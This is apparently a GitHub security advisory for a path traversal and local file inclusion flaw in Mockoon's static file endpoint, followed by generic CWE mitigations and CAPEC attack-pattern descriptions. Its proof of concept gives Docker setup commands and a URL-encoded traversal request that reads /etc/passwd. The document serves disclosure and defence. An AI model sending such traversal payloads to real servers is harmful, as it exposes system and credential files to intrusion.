"details": "### Summary\nA mock API configuration for static file serving following the same approach presented in the [documentation page](https://mockoon.com/tutorials/create-endpoint-serving-static-file/), where the server filename is generated via templating features from user input is vulnerable to Path Traversal and LFI, allowing an attacker to get any file in the mock server filesystem.\nThe issue may be particularly relevant in cloud hosted server instances\n\n### Details\nIn `sendFileWithCallback`([code](https://github.com/mockoon/mockoon/blob/1ed31c4059d7f757f6cb2a43e10dc81b0d9c55a9/packages/commons-server/src/libs/server/server.ts#L1400)) and `sendFile`([code](https://github.com/mockoon/mockoon/blob/1ed31c4059d7f757f6cb2a43e10dc81b0d9c55a9/packages/commons-server/src/libs/server/server.ts#L1551)) the `filePath` variable is parsed using `TemplateParser`\n\n```js\nlet filePath = TemplateParser({\n shouldOmitDataHelper: false,\n // replace backslashes with forward slashes, but not if followed by a dot (to allow helpers with paths containing properties with dots: e.g. {{queryParam \u0027path.prop\\.with\\.dots\u0027}})\n content: routeResponse.filePath.replace(/\\\\(?!\\.)/g, \u0027/\u0027),\n environment: this.environment,\n processedDatabuckets: this.processedDatabuckets,\n globalVariables: this.globalVariables,\n request: serverRequest,\n envVarsPrefix: this.options.envVarsPrefix\n });\n```\n\nThe path extracted from the request parameters used when composing the final file path is not sanitized and is vulnerable to path traversal exploits (e.g. `../../../../../etc/passwd`)\n\n### PoC\n#### Test setup\nThe issue has been tested with `mockoon-cli`, using the Docker image `mockoon/cli:latest`\n\n[config.json](https://github.com/user-attachments/files/18199899/config.json)\n\n```bash\n# Folder setup\nmkdir mockoon-test\ncd mockoon-test\n\n# put config.json in mockooon-test dir\n\nmkdir static\n```\n\n```bash\n# Run container\ndocker run -d --mount type=bind,source=./config.json,target=/data,readonly -v ./static:/static -p 3000:3000 mockoon/cli:latest -d data -p 3000\n```\n\n#### Payload to reproduce\nBrowsing directly to `http://localhost:3000/static/%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd` is going to display the `/etc/passwd` file in the container filesystem",
"id": "GHSA-w7f9-wqc4-3wxr",
"modified": "2025-09-13T03:03:19Z",
"published": "2025-03-11T16:17:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-w7f9-wqc4-3wxr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59049"
},
{
"type": "WEB",
"url": "https://github.com/mockoon/mockoon/commit/c7f6e23e87dc3b8cc44e5802af046200a797bd2e"
},
{
"type": "PACKAGE",
"url": "https://github.com/mockoon/mockoon"
},
{
"type": "WEB",
"url": "https://github.com/mockoon/mockoon/blob/1ed31c4059d7f757f6cb2a43e10dc81b0d9c55a9/packages/commons-server/src/libs/server/server.ts#L1400"
},
{
"type": "WEB",
"url": "https://github.com/mockoon/mockoon/blob/1ed31c4059d7f757f6cb2a43e10dc81b0d9c55a9/packages/commons-server/src/libs/server/server.ts#L1551"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mockoon has a Path Traversal and LFI in the static file serving endpoint"
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.